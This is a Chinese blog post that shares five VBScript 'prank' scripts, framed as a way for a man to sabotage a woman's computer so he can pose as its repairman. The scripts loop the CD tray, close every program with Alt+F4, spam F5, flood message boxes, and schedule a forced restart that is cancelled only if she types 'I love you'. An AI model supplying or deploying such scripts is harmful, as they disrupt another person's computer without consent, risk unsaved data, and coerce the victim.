![0dca6ee18537159524b45467ca818bc4.png](https://i-blog.csdnimg.cn/blog_migrate/236b43591b53d01eeadf5ad22d61ec3c.png)
分享几个好玩的.vbs奇技淫巧
一个合格的死肥宅如何才能俘获翠花的芳心呢?搭讪又不会,约吃饭又扣扣搜搜舍不得花钱。只能靠几个不要脸的vbs“搞坏”她的电脑,然后变身电脑维修大师,假借修电脑之名,一步步走进她的心。
![e4ff42030a671b33bb7b46052403ad50.png](https://i-blog.csdnimg.cn/blog_migrate/95034edb9181e0157239214ad148ebf1.png)
第一个,无线弹出光驱,让翠花的电脑跟打了鸡血一样七进七出、不眠不休。将以下代码写入文本文档,修改后缀为vbs即可。
set wmp=createobject("wmplayer.ocx")
set cd=wmp.cdromcollection.item(0)
do
cd.eject
loop
第二个,关闭翠花的所有程序,打开一个关闭一个,就是这么无情。雷霆噶吧,无情哈拉少。代码如下:
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
do
wscript.sleep 2500
WSHshell.SendKeys "%{F4}"
loop
第三个,让翠花的电脑就像着了魔似的刷新,无法进行任何操作。代码如下:
set ws=createobject("wscript.shell")
do
ws.sendkeys "{f5}"
loop
第四个,翠花因为最近伙食太好隐约有些过分肥美,那么如何简单高效的帮助翠花燃烧她的卡路里呢?你需要如下代码:
dim s
do until s=999
s=s+1
msgbox"翠花,按999次回车减减肥吧",64
loop
第五个,和翠花的交流已经很深入了,是时候使用下面的代码了,强人所爱,代码如下(360会报毒的哟):
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""快说你爱我,不然关机···"" ",0 ,true
dim a
do while(a <> "我爱你")
a = inputbox ("快说你爱我,不然关机 ""我爱你"" ","不然带你去六神山","",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "哎,翠花真可爱"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哎,翠花真可爱"
![5744055c0276055fe8d36f6ade3199c2.png](https://i-blog.csdnimg.cn/blog_migrate/993bd388e86e1246ecbe913fdb2052b6.png)
我是尤尼可可,觉得有用请收藏哟
买空间上阿里云·限时·秒杀
买空间上腾讯云·爆品·秒杀